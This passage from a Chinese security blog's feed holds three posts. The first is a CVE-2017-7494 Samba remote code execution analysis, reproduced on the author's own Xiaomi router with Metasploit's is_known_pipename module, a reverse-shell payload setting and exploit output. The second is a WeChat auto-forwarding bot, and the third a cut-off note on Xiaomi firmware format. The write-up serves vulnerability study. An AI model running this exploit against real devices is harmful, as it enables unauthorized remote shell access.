src="https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/02-00-46.png" alt></p><p>跟进到smb_probe_module()<br><img src="https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-59-58.jpg" alt></p><p>再跟进到do_smb_load_module(),发现调用的过程就在其中,调用了传进来的moudule_name对应的init_samba_module函数<br><img src="https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/02-01-19.jpg" alt></p><p>我们可以通过smb服务上传一个恶意的so文件该文件包含一个输出函数init_samba_module随后通过上述过程进行调用执行任意代码。</p><h2 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h2><h3 id="小米路由器"><a href="#小米路由器" class="headerlink" title="小米路由器"></a>小米路由器</h3><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">netstat -apnt</span><br><span class="line">tcp <span class="number">0</span> <span class="number">0</span> <span class="number">192.168</span><span class="meta">.31</span><span class="meta">.1</span>:<span class="number">445</span> <span class="number">0.0</span><span class="meta">.0</span><span class="meta">.0</span>:* LISTEN <span class="number">0</span> <span class="number">572</span> <span class="number">1917</span>/smbd</span><br><span class="line"></span><br><span class="line">nmap <span class="number">192.168</span><span class="meta">.31</span><span class="meta">.1</span></span><br><span class="line"><span class="number">139</span>/tcp open netbios-ssn</span><br><span class="line"><span class="number">445</span>/tcp open microsoft-<span class="built_in">ds</span></span><br></pre></td></tr></table></figure><p><strong><em>端口已开启</em></strong><br><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line">vim /etc/samba/smb.conf</span><br><span class="line"> deadtime = 30</span><br><span class="line"> domain master = <span class="literal">yes</span></span><br><span class="line"> encrypt passwords = <span class="literal">true</span></span><br><span class="line"> <span class="builtin-name">enable</span> core files = <span class="literal">no</span></span><br><span class="line"> guest account = nobody</span><br><span class="line"> guest ok = <span class="literal">yes</span></span><br><span class="line"> invalid<span class="built_in"> users </span>=</span><br><span class="line"> local master = <span class="literal">yes</span></span><br><span class="line"> load printers = <span class="literal">no</span></span><br><span class="line"> map <span class="keyword">to</span> guest = Bad User</span><br><span class="line"> min receivefile size = 16384</span><br><span class="line"> <span class="literal">null</span> passwords = <span class="literal">yes</span></span><br><span class="line"> obey pam restrictions = <span class="literal">yes</span></span><br><span class="line"> passdb backend = smbpasswd</span><br><span class="line"> preferred master = <span class="literal">yes</span></span><br><span class="line"> printable = <span class="literal">no</span></span><br><span class="line"> <span class="built_in"> smb </span>encrypt = disabled</span><br><span class="line"> <span class="built_in"> smb </span>passwd file = /etc/samba/smbpasswd</span><br><span class="line"> socket options = <span class="attribute">SO_SNDBUFFORCE</span>=1048576 <span class="attribute">SO_RCVBUFFORCE</span>=1048576</span><br><span class="line"> smb2 max trans = 1048576</span><br><span class="line"> smb2 max write = 1048576</span><br><span class="line"> smb2 max read = 1048576</span><br><span class="line"> write cache size = 262144</span><br><span class="line"> syslog = 2</span><br><span class="line"> syslog only = <span class="literal">yes</span></span><br><span class="line"> use sendfile = <span class="literal">yes</span></span><br><span class="line"> writeable = <span class="literal">yes</span></span><br><span class="line"> log level = 1</span><br><span class="line"> unicode = <span class="literal">True</span></span><br><span class="line"> max log size = 500</span><br><span class="line"> log file = /tmp/log/samba.log</span><br><span class="line"> <span class="built_in"> server </span>role = STANDALONE</span><br><span class="line"></span><br><span class="line">[homes]</span><br><span class="line"> comment = Home Directories</span><br><span class="line"> browsable = <span class="literal">no</span></span><br><span class="line"> read only = <span class="literal">no</span></span><br><span class="line"> create mode = 0750</span><br><span class="line"></span><br><span class="line">[data] ***SMB_SHARE_NAME***</span><br><span class="line"> path = /tmp ***SMB_FOLDER***</span><br><span class="line"> read only = <span class="literal">no</span> ***具备可写权限***</span><br><span class="line"> guest ok = <span class="literal">yes</span> ***允许匿名***</span><br><span class="line"> create mask = 0777</span><br><span class="line"> directory mask = 0777</span><br></pre></td></tr></table></figure></p><p><strong><em>具有可写权限、目录为/tmp</em></strong></p><h2 id="攻击使用metasploit"><a href="#攻击使用metasploit" class="headerlink" title="攻击使用metasploit"></a>攻击使用metasploit</h2><h3 id="设置攻击参数"><a href="#设置攻击参数" class="headerlink" title="设置攻击参数"></a>设置攻击参数</h3><p>靶机是小米路由器R3它的系统为mips架构但是这个库好像对它的支持不是很好<br><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">show options</span><br><span class="line"></span><br><span class="line">Module options (exploit/linux/samba/is_known_pipename):</span><br><span class="line"></span><br><span class="line"> Name Current Setting Required Description</span><br><span class="line"> ---- --------------- -------- -----------</span><br><span class="line"> RHOSTS 192.168.31.1 <span class="literal">yes</span> The target<span class="built_in"> address </span>range <span class="keyword">or</span> CIDR identifier</span><br><span class="line"> RPORT 445 <span class="literal">yes</span> The<span class="built_in"> SMB service port </span>(TCP)</span><br><span class="line"> SMB_FOLDER <span class="literal">no</span> The directory <span class="keyword">to</span> use within the writeable<span class="built_in"> SMB </span>share</span><br><span class="line"> SMB_SHARE_NAME <span class="literal">no</span> The name of the<span class="built_in"> SMB </span>share containing a writeable directory</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">Payload options (generic/shell_reverse_tcp):</span><br><span class="line"></span><br><span class="line"> Name Current Setting Required Description</span><br><span class="line"> ---- --------------- -------- -----------</span><br><span class="line"> LHOST 192.168.216.129 <span class="literal">yes</span> The listen<span class="built_in"> address </span>(an<span class="built_in"> interface </span>may be specified)</span><br><span class="line"> LPORT 4444 <span class="literal">yes</span> The listen port</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">Exploit target:</span><br><span class="line"></span><br><span class="line"> Id Name</span><br><span class="line"> -- ----</span><br><span class="line"> 7 Linux MIPSLE</span><br></pre></td></tr></table></figure></p><h3 id="执行攻击"><a href="#执行攻击" class="headerlink" title="执行攻击"></a>执行攻击</h3><figure class="highlight accesslog"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">exploit</span><br><span class="line"></span><br><span class="line"><span class="string">[*]</span> Started reverse TCP handler on <span class="number">192.168.216.129:4444</span></span><br><span class="line"><span class="string">[*]</span> <span class="number">192.168.31.1:445</span> - Using location \\<span class="number">192.168.31.1</span>\data\ for the path</span><br><span class="line"><span class="string">[*]</span> <span class="number">192.168.31.1:445</span> - Retrieving the remote path of the share 'data'</span><br><span class="line"><span class="string">[*]</span> <span class="number">192.168.31.1:445</span> - Share 'data' has server-side path '/tmp</span><br><span class="line"><span class="string">[*]</span> <span class="number">192.168.31.1:445</span> - Uploaded payload to \\<span class="number">192.168.31.1</span>\data\KcQiOcbk.so</span><br><span class="line"><span class="string">[*]</span> <span class="number">192.168.31.1:445</span> - Loading the payload from server-side path /tmp/KcQiOcbk.so using \\PIPE\/tmp/KcQiOcbk.so...</span><br><span class="line"><span class="string">[-]</span> <span class="number">192.168.31.1:445</span> - &gt;&gt; Failed to load STATUS_OBJECT_NAME_NOT_FOUND</span><br><span class="line"><span class="string">[*]</span> <span class="number">192.168.31.1:445</span> - Loading the payload from server-side path /tmp/KcQiOcbk.so using /tmp/KcQiOcbk.so...</span><br><span class="line"><span class="string">[-]</span> <span class="number">192.168.31.1:445</span> - &gt;&gt; Failed to load STATUS_OBJECT_NAME_NOT_FOUND</span><br><span class="line"><span class="string">[*]</span> Exploit completed, but no session was created.</span><br></pre></td></tr></table></figure><p>虽然报错,但是查看共享文件夹/tmp却发现了生成了.so文件<br>知乎这篇<a href="https://zhuanlan.zhihu.com/p/27129229" target="_blank" rel="noopener">专栏</a>也有相同问题</p><h2 id="分析POC查找原因"><a href="#分析POC查找原因" class="headerlink" title="分析POC查找原因"></a>分析POC查找原因</h2><p>(来自<a href="https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/" target="_blank" rel="noopener">Wzblog</a>)</p><h3 id="建立SMB连接。若需要账号密码登录则必须登录后才能继续"><a href="#建立SMB连接。若需要账号密码登录则必须登录后才能继续" class="headerlink" title="建立SMB连接。若需要账号密码登录则必须登录后才能继续"></a>建立SMB连接。若需要账号密码登录则必须登录后才能继续</h3><p>从微软上扒的SMB协议建立时序图<br><img src="https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-09-40.png" alt></p><p>对应POC:</p><p><img src="https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/23-15-57.png" alt></p><h3 id="利用NetShareEnumAll遍历目标服务器的共享名-ShareName-以及获取对应的共享文件夹下的可写路径-Path"><a href="#利用NetShareEnumAll遍历目标服务器的共享名-ShareName-以及获取对应的共享文件夹下的可写路径-Path" class="headerlink" title="利用NetShareEnumAll遍历目标服务器的共享名(ShareName)以及获取对应的共享文件夹下的可写路径(Path)"></a>利用NetShareEnumAll遍历目标服务器的共享名(ShareName)以及获取对应的共享文件夹下的可写路径(Path)</h3><p><img src="https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/00-38-48.jpg" alt></p><p>其中find_writeable_path()函数需要跟进看一下:<br><img src="https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-14-43.jpg" alt></p><p>再跟进看enumerate_directories()以及verify_writeable_directory函数<br><img src="https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/00-48-27.jpg" alt><br><img src="https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-18-44.jpg" alt></p><p>可以看到代码逻辑很清楚首先遍历出当前路径所有的文件夹然后尝试往里面写一个随机的txt文件用作可写测试随后删除掉txt文件记录下可写的文件路径。<br>至此,我们得到了一个共享名(即本例中的data)以及其当前路径下的可写目录(/tmp)</p><h3 id="利用NetShareGetInfo获取共享文件夹的绝对路径-SharePath"><a href="#利用NetShareGetInfo获取共享文件夹的绝对路径-SharePath" class="headerlink" title="利用NetShareGetInfo获取共享文件夹的绝对路径(SharePath)"></a>利用NetShareGetInfo获取共享文件夹的绝对路径(SharePath)</h3><p><img src="https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-26-47.jpg" alt><br>至此获取到了共享名data的绝对路径。<br>值得注意的是这里跟早期的Payload不一样早期的payload是靠暴力猜解目录所以跟一些分析文章有些出入。现在的Payload是根据NetShareGetInfo直接获取到准确的路径极大地提高了攻击的成功率。</p><h3 id="上传恶意so文件"><a href="#上传恶意so文件" class="headerlink" title="上传恶意so文件"></a>上传恶意so文件</h3><p><img src="https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-38-28.jpg" alt><br>其中写入的so文件是Metasploit生成的反弹shell很简单的执行一句命令。有一点需要注意的是里面的函数名必须是samba_init_module并且是一个导出函数这个原因上述的漏洞分析也有提及。</p><h3 id="调用恶意文件并执行echo命令打印随机字符串检验是否调用成功"><a href="#调用恶意文件并执行echo命令打印随机字符串检验是否调用成功" class="headerlink" title="调用恶意文件并执行echo命令打印随机字符串检验是否调用成功"></a>调用恶意文件并执行echo命令打印随机字符串检验是否调用成功</h3><p><img src="https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-43-02.jpg" alt><br>利用从第2步获取到的可写文件目录(Path)以及从第3步得到的共享文件绝对路径(SharePath)构造恶意管道名\PIPE\/SharePath/Path/Evil.so然后通过SMB_COM_NT_CREATE_ANDX进行调用。<br>在复现时调用恶意so文件总会失败产生Error Code为STATUS_OBJECT_NAME_NOT_FOUND的错误。尚未能明白为什么会出现这种首次失败的情况也许要详细看看smb协议才能知道了。<br>POC代码将STATUS_OBJECT_PATH_INVALID作为我们payload被加载的标志随后就是用NBSS协议进行了一次远程代码执行的测试执行代码为echo随机字符串。</p><h3 id="删除恶意so文件断开smb连接"><a href="#删除恶意so文件断开smb连接" class="headerlink" title="删除恶意so文件断开smb连接"></a>删除恶意so文件断开smb连接</h3><p><img src="https://www.wzsite.cn/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-45-01.png" alt></p><p>由msf给出的poc过程可见对小米路由器的攻击在第五步出现问题因此出现Failed to load STATUS_OBJECT_NAME_NOT_FOUND</p>]]></content>
<categories>
<category> IOT </category>
</categories>
<tags>
<tag> Samba </tag>
<tag> 远程执行 </tag>
<tag> CVE </tag>
</tags>
</entry>
<entry>
<title>利用itchat定时转发微信消息</title>
<link href="/2019/03/23/auto-send-WX/"/>
<url>/2019/03/23/auto-send-WX/</url>
<content type="html"><![CDATA[<p>我们实验室有个光荣传统每天早上起床叫醒我的不是闹钟而是群里雷打不动的安全新闻其实我免提醒了2333<br>而这个发送新闻的人一代一代的传承我没想到竟然有一天会落在我头上哭了o(╥﹏╥)o<br>为了不暴露我的起床时间,同时能保质保量的完成任务,我决定做个机器人帮我完成。<br>这就是这片po文的由来啦</p><h1 id="大杀器itchat"><a href="#大杀器itchat" class="headerlink" title="大杀器itchat"></a>大杀器itchat</h1><h2 id="introduction"><a href="#introduction" class="headerlink" title="introduction"></a>introduction</h2><p>先来一段<a href="https://itchat.readthedocs.io/zh/latest/" target="_blank" rel="noopener">itchat</a>的官方介绍吧</p><blockquote><p>itchat是一个开源的微信个人号接口使用python调用微信从未如此简单。<br>使用不到三十行的代码,你就可以完成一个能够处理所有信息的微信机器人。<br>当然该api的使用远不止一个机器人更多的功能等着你来发现比如这些。<br>该接口与公众号接口itchatmp共享类似的操作方式学习一次掌握两个工具。<br>如今微信已经成为了个人社交的很大一部分,希望这个项目能够帮助你扩展你的个人的微信号、方便自己的生活。</p></blockquote><p>实际上itchat是对微信网页端的爬虫所以网页端可以实现的功能都有那么我想要的定时群发微信消息自然不在话下</p><h2 id="初步尝试"><a href="#初步尝试" class="headerlink" title="初步尝试"></a>初步尝试</h2><ul><li><p>安装</p><figure class="highlight cmake"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip <span class="keyword">install</span> itchat</span><br></pre></td></tr></table></figure></li><li><p>一个简单实例:实现给文件传输助手发送消息</p></li></ul><figure class="highlight less"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-tag">import</span> <span class="selector-tag">itchat</span></span><br><span class="line"><span class="selector-tag">itchat</span><span class="selector-class">.auto_login</span>()</span><br><span class="line"><span class="selector-tag">itchat</span><span class="selector-class">.send</span>(<span class="string">'Hello, filehelper'</span>, toUserName=<span class="string">'filehelper'</span>)</span><br></pre></td></tr></table></figure><h1 id="实现定时转发"><a href="#实现定时转发" class="headerlink" title="实现定时转发"></a>实现定时转发</h1><p>这个的实现需要注册msg_register,逻辑很简单,当收到指定群里的指定消息时,将消息转发到另一个群。<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> itchat</span><br><span class="line"><span class="keyword">from</span> datetime <span class="keyword">import</span> datetime</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> threading</span><br><span class="line"><span class="keyword">from</span> itchat.content <span class="keyword">import</span> TEXT</span><br><span class="line"><span class="keyword">from</span> itchat.content <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> apscheduler.schedulers.blocking <span class="keyword">import</span> BlockingScheduler</span><br><span class="line"></span><br><span class="line"><span class="meta">@itchat.msg_register([TEXT], isFriendChat=True, isGroupChat=True, isMpChat=True)</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">getContent</span><span class="params">(msg)</span>:</span></span><br><span class="line"> <span class="keyword">global</span> g_msg</span><br><span class="line"> groups = itchat.get_chatrooms(update = <span class="literal">True</span>)</span><br><span class="line"> <span class="keyword">for</span> g <span class="keyword">in</span> groups:</span><br><span class="line"> <span class="comment">#print(g['NickName'])</span></span><br><span class="line"> <span class="keyword">if</span> g[<span class="string">'NickName'</span>] == <span class="string">'被转发的群名'</span>:</span><br><span class="line"> from_group = g[<span class="string">'UserName'</span>]</span><br><span class="line"> <span class="keyword">if</span> <span class="string">'每日安全简讯'</span> <span class="keyword">in</span> msg[<span class="string">'Content'</span>]:</span><br><span class="line"> print(<span class="string">"get message from "</span> + msg[<span class="string">'FromUserName'</span>])</span><br><span class="line"> <span class="keyword">if</span> msg[<span class="string">'FromUserName'</span>] == from_group:</span><br><span class="line"> g_msg = msg[<span class="string">'Content'</span>]</span><br><span class="line"> print(<span class="string">'成功获得群消息,等待转发'</span>)</span><br><span class="line"> print(int(time.strftime(<span class="string">"%H%M%S"</span>)))</span><br><span class="line"> <span class="keyword">while</span>(<span class="number">1</span>):</span><br><span class="line"> <span class="keyword">if</span> int(time.strftime(<span class="string">"%H%M%S"</span>)) &gt; <span class="number">80000</span>:</span><br><span class="line"> SendMessage(g_msg,<span class="string">'发送的对象群名'</span>)</span><br><span class="line"> g_msg = <span class="string">''</span></span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">SendMessage</span><span class="params">(context,gname)</span>:</span></span><br><span class="line"> itchat.get_chatrooms(update = <span class="literal">True</span>)</span><br><span class="line"> users = itchat.search_chatrooms(name=gname)</span><br><span class="line"> userName = users[<span class="number">0</span>][<span class="string">'UserName'</span>]</span><br><span class="line"> itchat.send_msg(context,toUserName=userName)</span><br><span class="line"> print(<span class="string">"\n发送时间: "</span> + datetime.now().strftime(<span class="string">"%Y-%m-%d %H:%M:%S"</span>) + <span class="string">"\n"</span> <span class="string">"发送到:"</span> + gname + <span class="string">"\n"</span> + <span class="string">"发送内容:"</span> + context + <span class="string">"\n"</span>)</span><br><span class="line"> print(<span class="string">"*********************************************************************************"</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> itchat.auto_login(hotReload=<span class="literal">True</span>,enableCmdQR=<span class="number">2</span>)</span><br><span class="line"> itchat.run(blockThread=<span class="literal">False</span>)</span><br></pre></td></tr></table></figure></p><h1 id="添加周期防掉线"><a href="#添加周期防掉线" class="headerlink" title="添加周期防掉线"></a>添加周期防掉线</h1><p>据说每三十分钟发送一次消息可防止网页端微信掉线~~<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">loop_send</span><span class="params">()</span>:</span></span><br><span class="line"> nowTime = datetime.now().strftime(<span class="string">"%Y-%m-%d %H:%M:%S"</span>)</span><br><span class="line"> context = <span class="string">'现在是北京时间 :\n'</span>+ nowTime +<span class="string">'\n\n我们还活着'</span></span><br><span class="line"> itchat.get_chatrooms(update = <span class="literal">True</span>)</span><br><span class="line"> users = itchat.search_friends(name=<span class="string">u'chengkun'</span>)</span><br><span class="line"> userName = users[<span class="number">0</span>][<span class="string">'UserName'</span>]</span><br><span class="line"> itchat.send_msg(context,toUserName=userName)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> sched = BlockingScheduler()</span><br><span class="line"> sched.add_job(loop_send,<span class="string">'interval'</span>,minutes=<span class="number">30</span>)</span><br><span class="line"> sched.start()</span><br></pre></td></tr></table></figure></p><h1 id="把程序放在服务器上"><a href="#把程序放在服务器上" class="headerlink" title="把程序放在服务器上"></a>把程序放在服务器上</h1><p>我是在腾讯云有个服务器,因为自己的电脑不可能时时刻刻开机,所以就放在服务器上,方法是:<br><figure class="highlight stylus"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo nohup python -u auto_Send<span class="selector-class">.py</span> &gt;&gt; auto_Send<span class="selector-class">.log</span> <span class="number">2</span>&gt;&amp;<span class="number">1</span> &amp;</span><br></pre></td></tr></table></figure></p><ul><li>使用nohup可以让程序在后台运行</li><li>然后将日志输出到auto_Send.log方便我们后期出bug了排错</li><li>-u可以防止输出到python缓冲区</li></ul><h1 id="遇到的坑"><a href="#遇到的坑" class="headerlink" title="遇到的坑"></a>遇到的坑</h1><h2 id="线程阻塞问题"><a href="#线程阻塞问题" class="headerlink" title="线程阻塞问题"></a>线程阻塞问题</h2><p>这里有两个线程一个是定时转发一个是循环发送因此要设置为itchat.run(blockThread=False)以及sched = BlockingScheduler()否则会卡在某个方法。</p><h2 id="找不到群组"><a href="#找不到群组" class="headerlink" title="找不到群组"></a>找不到群组</h2><p>这是因为users = itchat.search_chatrooms(name=gname),在搜索的是你保存到通讯录的群组。</p><h2 id="二维码显示不全"><a href="#二维码显示不全" class="headerlink" title="二维码显示不全"></a>二维码显示不全</h2><p>itchat.auto_login(hotReload=True,enableCmdQR=2)需要设置为2</p>]]></content>
<categories>
<category> 杂七杂八 </category>
</categories>
<tags>
<tag> itchat </tag>
<tag> 微信 </tag>
</tags>
</entry>
<entry>
<title>小米固件工具mkxqimage</title>
<link href="/2019/03/16/%E5%B0%8F%E7%B1%B3%E5%9B%BA%E4%BB%B6%E5%B7%A5%E5%85%B7mkxqimage/"/>
<url>/2019/03/16/%E5%B0%8F%E7%B1%B3%E5%9B%BA%E4%BB%B6%E5%B7%A5%E5%85%B7mkxqimage/</url>
<content type="html"><![CDATA[<h1 id="小米固件工具mkxqimage"><a href="#小米固件工具mkxqimage" class="headerlink" title="小米固件工具mkxqimage"></a>小米固件工具mkxqimage</h1><p>小米自己改了个打包解包固件的工具,基于 trx 改的(本质上还是 trx 格式),加了 RSA 验证和解包功能,路由系统里自带:<br><figure class="highlight inform7"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Usage:</span><br><span class="line">mkxqimg <span class="comment">[-o outfile]</span> <span class="comment">[-p private_key]</span> <span class="comment">[-f file]</span> <span class="comment">[-f file <span class="comment">[-f file <span class="comment">[-f file ]</span>]</span>]</span></span><br><span class="line"> <span class="comment">[-x file]</span></span><br><span class="line"> <span class="comment">[-I]</span></span><br></pre></td></tr></table></figure></p><h2 id="固件解包"><a href="#固件解包" class="headerlink" title="固件解包"></a>固件解包</h2><p>固件工具mkxqimage完成对固件的解包在解包前先检查Checksum是否正确然后利用RSA公钥/usr/share/xiaoqiang/public.pem检查RSA签名这两个步骤通过后根据[0x0C]的固件类型,以及[0x10]、[0x14]、[0x18]和[0x1C]的4个偏移量拆分固件。</p><h2 id="固件打包"><a href="#固件打包" class="headerlink" title="固件打包"></a>固件打包</h2><p>小米官方在打包固件时用RSA私钥计算出固件的RSA签名小米路由器下载固件后用RSA公钥来验证RSA签名有效地防止固件被篡改。</p><h2 id="固件格式"><a href="#固件格式" class="headerlink" title="固件格式"></a><a href="http://www.iptvfans.cn/wiki/index.php/%E5%B0%8F%E7%B1%B3%E8%B7%AF%E7%94%B1%E5%99%A8%E5%9B%BA%E4%BB%B6%E5%88%86%E6%9E%90" target="_blank" rel="noopener">固件格式</a></h2><p>路由固件的格式,基本是基于 openwrt 的 trx 这个简单的二进制文件格式<br><figure class="highlight lsl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">48</span> <span class="number">44</span> <span class="number">52</span> <span class="number">30</span> <span class="number">63</span> D4 <span class="number">11</span> <span class="number">03</span> FE <span class="number">3</span>D <span class="number">1</span>A FD <span class="number">05</span> <span class="number">00</span> <span class="number">02</span> <span class="number">00</span></span><br><span class="line"><span class="number">20</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">20</span> <span class="number">00</span> FE <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span></span><br><span class="line">FF <span class="number">04</span> <span class="number">00</span> EA <span class="number">14</span> F0 <span class="number">9</span>F E5 <span class="number">14</span> F0 <span class="number">9</span>F E5 <span class="number">14</span> F0 <span class="number">9</span>F E5</span><br></pre></td></tr></table></figure></p><p>第14字节ASCII字符串“HDR0”作为固件的标识<br>第58字节4字节整型数0x0311D464表示固件的大小51500132字节<br>第9~12字节固件的检查和<br>第1314字节0x0005表示固件中包含哪些部分<br>第1516字节0x0002表示固件格式版本号<br>第1720字节0x00000020表示固件第一部分在整个固件中的偏移量0.4.85固件的第一部分是brcm4709_nor.bin也就是Flash中除0xfe0000-0xff0000的board_data外的全镜像<br>第2124字节0x00FE0020表示固件第二部分在整个固件中的偏移量0.4.85固件的第二部分是root.ext4.lzma也就是硬盘中128M固件的压缩包<br>第33字节开始是固件的正式内容开始。</p><h2 id="小米开启ssh工具包"><a href="#小米开启ssh工具包" class="headerlink" title="小米开启ssh工具包"></a>小米开启ssh工具包</h2><p>使用mkxqimage解包<br>(现在会提示秘钥不存在)<br><figure class="highlight subunit"><table><tr><td class="gutter"><pre><span 